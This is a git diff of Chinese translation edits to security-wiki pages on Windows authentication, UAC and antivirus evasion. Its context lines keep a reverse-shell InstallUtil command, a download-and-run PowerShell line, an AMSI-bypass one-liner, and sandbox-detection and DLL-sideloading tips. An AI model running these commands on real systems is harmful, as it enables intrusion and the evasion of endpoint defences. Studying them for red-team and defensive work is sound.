diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md
index 4eb06503e..75f2343e2 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md
@@ -26,7 +26,7 @@ $a.rulecollections
 
 ### 绕过
 
-- 有用的 **可写文件夹** 用于绕过 AppLocker 策略：如果 AppLocker 允许在 `C:\Windows\System32` 或 `C:\Windows` 内执行任何内容，则可以使用 **可写文件夹** 来 **绕过此限制**。
+- 有用的 **可写文件夹** 以绕过 AppLocker 策略：如果 AppLocker 允许在 `C:\Windows\System32` 或 `C:\Windows` 内执行任何内容，则可以使用 **可写文件夹** 来 **绕过此限制**。
 ```
 C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
 C:\Windows\System32\spool\drivers\color
@@ -36,7 +36,7 @@ C:\windows\tracing
 - 常见的 **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) 二进制文件也可以用于绕过 AppLocker。
 - **编写不当的规则也可能被绕过**
 - 例如，**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**，您可以在任何地方创建一个 **名为 `allowed` 的文件夹**，它将被允许。
-- 组织通常还会专注于 **阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**，但忘记了 **其他** [**PowerShell 可执行文件位置**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)，例如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 或 `PowerShell_ISE.exe`。
+- 组织通常还专注于 **阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**，但忘记了 **其他** [**PowerShell 可执行文件位置**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)，例如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 或 `PowerShell_ISE.exe`。
 - **DLL 强制执行很少启用**，因为它可能对系统造成额外负担，并且需要大量测试以确保不会出现故障。因此，使用 **DLL 作为后门将有助于绕过 AppLocker**。
 - 您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **执行 Powershell** 代码并绕过 AppLocker。有关更多信息，请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
 
@@ -58,8 +58,8 @@ LSA 将是 **检查** 提供的凭据的 **SAM** 文件（用于本地登录）
 
 LSA 可以在磁盘上保存一些凭据：
 
-- Active Directory 的计算机帐户密码（无法访问的域控制器）。
-- Windows 服务帐户的密码
+- Active Directory 的计算机账户密码（无法访问的域控制器）。
+- Windows 服务账户的密码
 - 计划任务的密码
 - 更多（IIS 应用程序的密码...）
 
@@ -69,7 +69,7 @@ LSA 可以在磁盘上保存一些凭据：
 
 ## Defender
 
-[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是 Windows 10 和 Windows 11 以及 Windows Server 版本中可用的防病毒软件。它 **阻止** 常见的渗透测试工具，如 **`WinPEAS`**。但是，有方法可以 **绕过这些保护**。
+[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是 Windows 10 和 Windows 11 以及 Windows Server 版本中可用的防病毒软件。它 **阻止** 常见的渗透测试工具，如 **`WinPEAS`**。然而，有一些方法可以 **绕过这些保护**。
 
 ### 检查
 
@@ -130,7 +130,7 @@ EFS 通过加密保护文件，使用称为 **文件加密密钥 (FEK)** 的 **
 
 #### 成为权限系统
 
-这种方式要求 **受害者用户** 在主机内 **运行** 一个 **进程**。如果是这种情况，使用 `meterpreter` 会话可以模拟用户进程的令牌（`incognito` 中的 `impersonate_token`）。或者您可以直接 `migrate` 到用户的进程。
+这种方式要求 **受害者用户** 在主机内 **运行** 一个 **进程**。如果是这种情况，使用 `meterpreter` 会话可以模拟用户进程的令牌 (`impersonate_token` 来自 `incognito`)。或者您可以直接 `migrate` 到用户的进程。
 
 #### 知道用户密码
 
@@ -146,7 +146,7 @@ EFS 通过加密保护文件，使用称为 **文件加密密钥 (FEK)** 的 **
 - **计划任务能力**：与管理服务账户不同，gMSA 支持运行计划任务。
 - **简化 SPN 管理**：当计算机的 sAMaccount 详细信息或 DNS 名称发生更改时，系统会自动更新服务主体名称 (SPN)，简化 SPN 管理。
 
-gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中，并由域控制器 (DC) 每 30 天自动重置一次。此密码是一个加密数据块，称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)，只能由授权管理员和安装 gMSA 的服务器检索，从而确保安全环境。要访问此信息，需要安全连接，例如 LDAPS，或者连接必须经过“密封和安全”认证。
+gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中，并由域控制器 (DC) 每 30 天自动重置。此密码是一个加密数据块，称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)，只能由授权管理员和安装 gMSA 的服务器检索，从而确保安全环境。要访问此信息，需要安全连接，如 LDAPS，或连接必须经过“密封和安全”认证。
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png)
 
@@ -181,7 +181,7 @@ $ExecutionContext.SessionState.LanguageMode
 Powershell -version 2
 ```
 在当前的Windows中，该绕过方法将无法工作，但您可以使用[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)。\
-**要编译它，您可能需要** **添加引用** -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并**将项目更改为 .Net4.5**。
+**要编译它，您可能需要** **添加一个引用** -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并**将项目更改为 .Net4.5**。
 
 #### 直接绕过：
 ```bash
@@ -221,7 +221,7 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T
 
 是用于验证用户的 API。
 
-SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后，SSPI 将协商使用哪个身份验证协议，这些身份验证协议称为安全支持提供者 (SSP)，以 DLL 形式位于每台 Windows 机器内部，并且两台机器必须支持相同的协议才能进行通信。
+SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后，SSPI 将协商使用哪个身份验证协议，这些身份验证协议称为安全支持提供者 (SSP)，以 DLL 形式位于每台 Windows 机器内部，且两台机器必须支持相同的协议才能进行通信。
 
 ### 主要 SSPs
 
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
index cc81c8c44..fffcb436e 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
@@ -7,7 +7,7 @@
 应用程序白名单是一个经过批准的软件应用程序或可执行文件的列表，这些软件被允许在系统上存在和运行。其目标是保护环境免受有害恶意软件和不符合组织特定业务需求的未批准软件的影响。
 
 [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) 是微软的 **应用程序白名单解决方案**，为系统管理员提供了对 **用户可以运行哪些应用程序和文件** 的控制。它提供了对可执行文件、脚本、Windows 安装程序文件、DLL、打包应用程序和打包应用程序安装程序的 **细粒度控制**。\
-组织通常会 **阻止 cmd.exe 和 PowerShell.exe** 以及对某些目录的写访问，**但这一切都可以被绕过**。
+组织通常会 **阻止 cmd.exe 和 PowerShell.exe** 以及对某些目录的写入访问，**但这一切都可以被绕过**。
 
 ### Check
 
@@ -35,7 +35,7 @@ C:\windows\tracing
 ```
 - 常见的 **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) 二进制文件也可以用于绕过 AppLocker。
 - **编写不当的规则也可能被绕过**
-- 例如，**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**，您可以在任何地方创建一个 **名为 `allowed`** 的文件夹，它将被允许。
+- 例如，**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**，您可以在任何地方创建一个 **名为 `allowed` 的文件夹**，它将被允许。
 - 组织通常还会专注于 **阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**，但忘记了 **其他** [**PowerShell 可执行文件位置**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)，例如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 或 `PowerShell_ISE.exe`。
 - **DLL 强制执行很少启用**，因为它可能对系统造成额外负担，并且需要大量测试以确保不会出现故障。因此，使用 **DLL 作为后门将有助于绕过 AppLocker**。
 - 您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **执行 Powershell** 代码并绕过 AppLocker。有关更多信息，请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
@@ -48,9 +48,9 @@ C:\windows\tracing
 
 ### 本地安全机构 (LSA) - LSASS
 
-**凭据**（哈希）被 **保存** 在此子系统的 **内存** 中，以实现单点登录的目的。\
+**凭据**（哈希）被 **保存** 在此子系统的 **内存** 中，以实现单点登录。\
 **LSA** 管理本地 **安全策略**（密码策略、用户权限...）、**身份验证**、**访问令牌**...\
-LSA 将是 **检查** 提供的凭据是否在 **SAM** 文件中（用于本地登录）并与 **域控制器** 进行身份验证的。
+LSA 将是 **检查** 提供的凭据的 **SAM** 文件（用于本地登录）并与 **域控制器** 进行通信以验证域用户。
 
 **凭据** 被 **保存** 在 **进程 LSASS** 中：Kerberos 票证、NT 和 LM 哈希、易于解密的密码。
 
@@ -103,7 +103,7 @@ sc query windefend
 ```
 ## 加密文件系统 (EFS)
 
-EFS 通过加密保护文件，使用称为 **文件加密密钥 (FEK)** 的 **对称密钥**。该密钥使用用户的 **公钥** 进行加密，并存储在加密文件的 $EFS **替代数据流** 中。当需要解密时，使用用户数字证书的相应 **私钥** 从 $EFS 流中解密 FEK。更多细节可以在 [这里](https://en.wikipedia.org/wiki/Encrypting_File_System) 找到。
+EFS 通过加密保护文件，使用称为 **文件加密密钥 (FEK)** 的 **对称密钥**。该密钥使用用户的 **公钥** 进行加密，并存储在加密文件的 $EFS **替代数据流** 中。当需要解密时，使用用户数字证书的相应 **私钥** 从 $EFS 流中解密 FEK。更多详细信息可以在 [这里](https://en.wikipedia.org/wiki/Encrypting_File_System) 找到。
 
 **无需用户启动的解密场景** 包括：
 
@@ -130,7 +130,7 @@ EFS 通过加密保护文件，使用称为 **文件加密密钥 (FEK)** 的 **
 
 #### 成为权限系统
 
-这种方式要求 **受害者用户** 在主机内 **运行** 一个 **进程**。如果是这种情况，使用 `meterpreter` 会话可以模拟用户进程的令牌 (`impersonate_token` 来自 `incognito`)。或者您可以直接 `migrate` 到用户的进程。
+这种方式要求 **受害者用户** 在主机内 **运行** 一个 **进程**。如果是这种情况，使用 `meterpreter` 会话可以模拟用户进程的令牌（`impersonate_token` 来自 `incognito`）。或者您可以直接 `migrate` 到用户的进程。
 
 #### 知道用户的密码
 
@@ -146,7 +146,7 @@ EFS 通过加密保护文件，使用称为 **文件加密密钥 (FEK)** 的 **
 - **计划任务能力**：与管理服务账户不同，gMSA 支持运行计划任务。
 - **简化 SPN 管理**：当计算机的 sAMaccount 详细信息或 DNS 名称发生更改时，系统会自动更新服务主体名称 (SPN)，简化 SPN 管理。
 
-gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中，并由域控制器 (DC) 每 30 天自动重置。此密码是一个称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) 的加密数据块，仅可由授权管理员和安装 gMSA 的服务器检索，从而确保安全环境。要访问此信息，需要安全连接，例如 LDAPS，或者连接必须经过“密封和安全”认证。
+gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中，并由域控制器 (DC) 每 30 天自动重置一次。此密码是一个称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) 的加密数据块，仅可由授权管理员和安装 gMSA 的服务器检索，从而确保安全环境。要访问此信息，需要安全连接，例如 LDAPS，或者连接必须经过“密封和安全”认证。
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
 
@@ -181,7 +181,7 @@ $ExecutionContext.SessionState.LanguageMode
 Powershell -version 2
 ```
 在当前的Windows中，绕过方法将无法工作，但您可以使用[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)。\
-**要编译它，您可能需要** **_添加引用_** -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并**将项目更改为 .Net4.5**。
+**要编译它，您可能需要** **添加一个引用** -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并**将项目更改为 .Net4.5**。
 
 #### 直接绕过：
 ```bash
@@ -191,7 +191,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
 ```
-您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 来 **执行 Powershell** 代码在任何进程中并绕过受限模式。有关更多信息，请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
+您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **执行 Powershell** 代码并绕过受限模式。有关更多信息，请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
 
 ## PS 执行策略
 
@@ -229,7 +229,7 @@ SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法
 - %windir%\Windows\System32\kerberos.dll
 - **NTLMv1** 和 **NTLMv2**: 兼容性原因
 - %windir%\Windows\System32\msv1_0.dll
-- **Digest**: Web 服务器和 LDAP，密码以 MD5 哈希形式存在
+- **Digest**: Web 服务器和 LDAP，密码以 MD5 哈希形式
 - %windir%\Windows\System32\Wdigest.dll
 - **Schannel**: SSL 和 TLS
 - %windir%\Windows\System32\Schannel.dll
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
index 087fcbbbe..26dba5fc3 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
@@ -12,7 +12,7 @@
 ../windows-local-privilege-escalation/integrity-levels.md
 {{#endref}}
 
-当 UAC 生效时，管理员用户会获得 2 个令牌：一个标准用户密钥，用于以常规级别执行常规操作，另一个则具有管理员权限。
+当 UAC 生效时，管理员用户会获得 2 个令牌：一个标准用户密钥，用于以常规级别执行常规操作，以及一个具有管理员权限的令牌。
 
 此 [页面](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 深入讨论了 UAC 的工作原理，包括登录过程、用户体验和 UAC 架构。管理员可以使用安全策略在本地级别（使用 secpol.msc）配置 UAC 的工作方式，或通过组策略对象 (GPO) 在 Active Directory 域环境中配置并推送。各种设置在 [这里](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) 进行了详细讨论。可以为 UAC 设置 10 个组策略设置。以下表格提供了更多详细信息：
 
@@ -35,7 +35,7 @@
 
 然后，为了**绕过** **UAC**（从**中等**完整性级别**提升到高**），一些攻击者使用这种二进制文件来**执行任意代码**，因为它将从**高完整性级别进程**中执行。
 
-您可以使用 Sysinternals 的工具 _**sigcheck.exe**_ 检查二进制文件的 _**Manifest**_。您可以使用 _Process Explorer_ 或 _Process Monitor_（Sysinternals）查看进程的**完整性级别**。
+您可以使用 Sysinternals 的工具 _**sigcheck.exe**_ 检查二进制文件的 _**Manifest**_。您可以使用 _Process Explorer_ 或 _Process Monitor_（来自 Sysinternals）查看进程的**完整性级别**。
 
 ### 检查 UAC
 
@@ -46,9 +46,9 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 EnableLUA    REG_DWORD    0x1
 ```
-如果是 **`1`**，则 UAC **已激活**；如果是 **`0`** 或 **不存在**，则 UAC **未激活**。
+如果是 **`1`**，则 UAC 是 **激活** 的；如果是 **`0`** 或 **不存在**，则 UAC 是 **未激活** 的。
 
-然后，检查 **配置了哪个级别**：
+然后，检查 **配置的级别**：
 ```
 REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
 
@@ -56,17 +56,17 @@ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 ```
 - 如果 **`0`**，则 UAC 不会提示（如 **禁用**）
-- 如果 **`1`**，则管理员会被 **要求输入用户名和密码** 以高权限执行二进制文件（在安全桌面上）
+- 如果 **`1`**，管理员会被 **要求输入用户名和密码** 以高权限执行二进制文件（在安全桌面上）
 - 如果 **`2`**（**始终通知我**），UAC 将始终在管理员尝试以高权限执行某些操作时要求确认（在安全桌面上）
 - 如果 **`3`**，类似于 `1`，但不一定在安全桌面上
 - 如果 **`4`**，类似于 `2`，但不一定在安全桌面上
 - 如果 **`5`**（**默认**），它会要求管理员确认以高权限运行非 Windows 二进制文件
 
 然后，您需要查看 **`LocalAccountTokenFilterPolicy`** 的值\
-如果值为 **`0`**，则只有 **RID 500** 用户（**内置管理员**）能够在没有 UAC 的情况下执行 **管理员任务**，如果为 `1`，则 **“Administrators”** 组中的所有帐户都可以执行这些任务。
+如果值为 **`0`**，则只有 **RID 500** 用户（**内置管理员**）能够在 **没有 UAC** 的情况下执行 **管理员任务**，如果为 `1`，则 **“Administrators”** 组中的所有帐户都可以执行这些任务。
 
-最后，查看 **`FilterAdministratorToken`** 键的值\
-如果 **`0`**（默认），则 **内置管理员帐户可以** 执行远程管理任务；如果 **`1`**，则内置管理员帐户 **无法** 执行远程管理任务，除非 `LocalAccountTokenFilterPolicy` 设置为 `1`。
+最后查看 **`FilterAdministratorToken`** 键的值\
+如果 **`0`**（默认），**内置管理员帐户可以** 执行远程管理任务，如果 **`1`**，则内置管理员帐户 **无法** 执行远程管理任务，除非 `LocalAccountTokenFilterPolicy` 设置为 `1`。
 
 #### 总结
 
@@ -75,7 +75,7 @@ ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 - 如果 `EnableLua=1` 且 **`LocalAccountTokenFilterPolicy=0` 且 `FilterAdministratorToken=0`，对 RID 500（内置管理员）没有 UAC**
 - 如果 `EnableLua=1` 且 **`LocalAccountTokenFilterPolicy=0` 且 `FilterAdministratorToken=1`，对所有人都有 UAC**
 
-所有这些信息可以通过 **metasploit** 模块收集： `post/windows/gather/win_privs`
+所有这些信息可以使用 **metasploit** 模块收集： `post/windows/gather/win_privs`
 
 您还可以检查用户的组并获取完整性级别：
 ```
@@ -85,11 +85,11 @@ whoami /groups | findstr Level
 ## UAC 绕过
 
 > [!NOTE]
-> 请注意，如果您可以图形访问受害者，UAC 绕过是直接的，因为您只需在 UAC 提示出现时单击“是”
+> 请注意，如果您可以图形访问受害者，UAC 绕过是直接的，因为您可以在 UAC 提示出现时简单地点击“是”
 
-在以下情况下需要 UAC 绕过：**UAC 已激活，您的进程在中等完整性上下文中运行，并且您的用户属于管理员组**。
+UAC 绕过在以下情况下是必要的：**UAC 已激活，您的进程在中等完整性上下文中运行，并且您的用户属于管理员组**。
 
-重要的是要提到，如果 UAC 处于最高安全级别（始终），则**绕过 UAC 要比在其他任何级别（默认）下要困难得多**。
+重要的是要提到，如果 UAC 处于最高安全级别（始终），则**绕过 UAC 要比在其他任何级别（默认）下困难得多**。
 
 ### UAC 禁用
 
@@ -154,7 +154,7 @@ Major  Minor  Build  Revision
 
 #### 更多 UAC 绕过
 
-**所有**用于绕过 AUC 的技术 **需要**与受害者的 **完整交互式 shell**（普通的 nc.exe shell 不够）。
+**所有**用于绕过 AUC 的技术 **需要** 与受害者的 **完整交互式 shell**（普通的 nc.exe shell 不够）。
 
 您可以使用 **meterpreter** 会话获取。迁移到 **Session** 值等于 **1** 的 **进程**：
 
@@ -185,6 +185,6 @@ Major  Minor  Build  Revision
 
 ### 另一种 UAC 绕过技术
 
-该技术是观察一个 **自动提升的二进制文件** 是否尝试 **从注册表** 中 **读取** 要 **执行** 的 **二进制文件** 或 **命令** 的 **名称/路径**（如果二进制文件在 **HKCU** 中搜索此信息，则更有趣）。
+该技术是观察是否有 **自动提升的二进制文件** 尝试 **从注册表** 中 **读取** 要 **执行** 的 **二进制文件** 或 **命令** 的 **名称/路径**（如果二进制文件在 **HKCU** 中搜索此信息，则更有趣）。
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md
index 939ee622d..c450905b8 100644
--- a/src/windows-hardening/av-bypass.md
+++ b/src/windows-hardening/av-bypass.md
@@ -14,7 +14,7 @@
 
 - **加密**
 
-如果你加密了二进制文件，AV将无法检测到你的程序，但你需要某种加载程序来解密并在内存中运行该程序。
+如果你加密二进制文件，AV将无法检测到你的程序，但你需要某种加载程序来解密并在内存中运行该程序。
 
 - **混淆**
 
@@ -37,7 +37,7 @@
 - **检查机器资源** 通常沙箱可用的资源非常少（例如，< 2GB RAM），否则可能会减慢用户的机器。你也可以在这里发挥创造力，例如检查CPU的温度或风扇速度，并不是所有内容都会在沙箱中实现。
 - **特定机器检查** 如果你想针对加入“contoso.local”域的用户的工作站，可以检查计算机的域以查看是否与指定的域匹配，如果不匹配，可以让你的程序退出。
 
-事实证明，Microsoft Defender的沙箱计算机名是HAL9TH，因此，你可以在恶意软件引爆前检查计算机名称，如果名称匹配HAL9TH，则意味着你在Defender的沙箱中，因此可以让你的程序退出。
+事实证明，Microsoft Defender的沙箱计算机名是HAL9TH，因此，你可以在恶意软件引爆前检查计算机名，如果名称匹配HAL9TH，则意味着你在Defender的沙箱中，因此可以让你的程序退出。
 
 <figure><img src="../images/image (209).png" alt=""><figcaption><p>来源: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
 
@@ -60,7 +60,7 @@
 
 正如我们在这张图片中看到的，Havoc的DLL有效载荷在antiscan.me上的检测率为4/26，而EXE有效载荷的检测率为7/26。
 
-<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me对正常Havoc EXE有效载荷与正常Havoc DLL的比较</p></figcaption></figure>
+<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me对普通Havoc EXE有效载荷与普通Havoc DLL的比较</p></figcaption></figure>
 
 现在我们将展示一些可以使用DLL文件的技巧，以便更加隐蔽。
 
@@ -79,7 +79,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
 
 我强烈建议您**自己探索可被DLL劫持/侧载的程序**，如果正确执行，这种技术相当隐蔽，但如果您使用公开已知的DLL侧载程序，可能会很容易被抓住。
 
-仅仅放置一个恶意DLL，其名称是程序期望加载的，并不会加载您的有效载荷，因为程序期望该DLL中有一些特定的函数。为了解决这个问题，我们将使用另一种技术，称为**DLL代理/转发**。
+仅仅放置一个恶意DLL，其名称是程序期望加载的名称，并不会加载您的有效载荷，因为程序期望该DLL中有一些特定的函数。为了解决这个问题，我们将使用另一种技术，称为**DLL代理/转发**。
 
 **DLL代理**将程序从代理（和恶意）DLL发出的调用转发到原始DLL，从而保留程序的功能并能够处理您的有效载荷的执行。
 
@@ -102,12 +102,12 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
 
 <figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
 
-我们的 shellcode（使用 [SGN](https://github.com/EgeBalci/sgn) 编码）和代理 DLL 在 [antiscan.me](https://antiscan.me) 上的检测率为 0/26！我会称之为成功。
+我们的 shellcode（使用 [SGN](https://github.com/EgeBalci/sgn) 编码）和代理 DLL 在 [antiscan.me](https://antiscan.me) 上的检测率为 0/26！我认为这是一个成功。
 
 <figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> 我 **强烈推荐** 你观看 [S3cur3Th1sSh1t 的 twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL Sideloading，以及 [ippsec 的视频](https://www.youtube.com/watch?v=3eROsG_WNpE)，以更深入地了解我们讨论的内容。
+> 我 **强烈推荐** 你观看 [S3cur3Th1sSh1t 的 twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL Sideloading，以及 [ippsec 的视频](https://www.youtube.com/watch?v=3eROsG_WNpE) 以更深入地了解我们讨论的内容。
 
 ## [**Freeze**](https://github.com/optiv/Freeze)
 
@@ -123,7 +123,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
 <figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> 规避只是猫和老鼠的游戏，今天有效的方法明天可能会被检测到，因此永远不要仅依赖一个工具，如果可能，尝试将多个规避技术结合起来。
+> 规避只是猫和老鼠的游戏，今天有效的方法明天可能会被检测到，因此永远不要仅依赖一个工具，如果可能的话，尝试将多个规避技术结合起来。
 
 ## AMSI（反恶意软件扫描接口）
 
@@ -137,13 +137,13 @@ AMSI功能集成在Windows的以下组件中。
 - JavaScript和VBScript
 - Office VBA宏
 
-它允许杀毒解决方案通过以未加密和未混淆的形式暴露脚本内容来检查脚本行为。
+它允许杀毒软件通过以未加密和未混淆的形式暴露脚本内容来检查脚本行为。
 
-运行`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`将在Windows Defender上产生以下警报。
+运行 `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` 将在Windows Defender上产生以下警报。
 
 <figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
 
-注意它是如何在脚本运行的可执行文件路径前加上`amsi:`，在这种情况下是powershell.exe。
+注意它是如何在前面加上 `amsi:` 然后是脚本运行的可执行文件的路径，在这种情况下是powershell.exe。
 
 我们没有将任何文件写入磁盘，但仍然因为AMSI在内存中被捕获。
 
@@ -151,9 +151,9 @@ AMSI功能集成在Windows的以下组件中。
 
 - **混淆**
 
-由于AMSI主要依赖静态检测，因此修改你尝试加载的脚本可能是规避检测的好方法。
+由于AMSI主要依赖静态检测，因此，修改你尝试加载的脚本可能是规避检测的好方法。
 
-然而，AMSI有能力解混淆脚本，即使它有多层，因此混淆可能是一个糟糕的选择，这取决于它的实现方式。这使得规避变得不那么简单。尽管有时，你所需要做的只是更改几个变量名称，你就可以成功，因此这取决于某个内容被标记的程度。
+然而，AMSI有能力解混淆脚本，即使它有多层，因此混淆可能是一个糟糕的选择，这取决于它的实现方式。这使得规避变得不那么简单。尽管有时，你所需要做的只是更改几个变量名称，你就可以成功，因此这取决于某个东西被标记的程度。
 
 - **AMSI绕过**
 
@@ -161,7 +161,7 @@ AMSI功能集成在Windows的以下组件中。
 
 **强制错误**
 
-强制AMSI初始化失败（amsiInitFailed）将导致当前进程不会启动扫描。最初这是由[Matt Graeber](https://twitter.com/mattifestation)披露的，微软已经开发了一种签名以防止更广泛的使用。
+强制AMSI初始化失败（amsiInitFailed）将导致当前进程不会启动扫描。最初这是由[Matt Graeber](https://twitter.com/mattifestation)披露的，微软已经开发了一种签名来防止更广泛的使用。
 ```powershell
 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
 ```
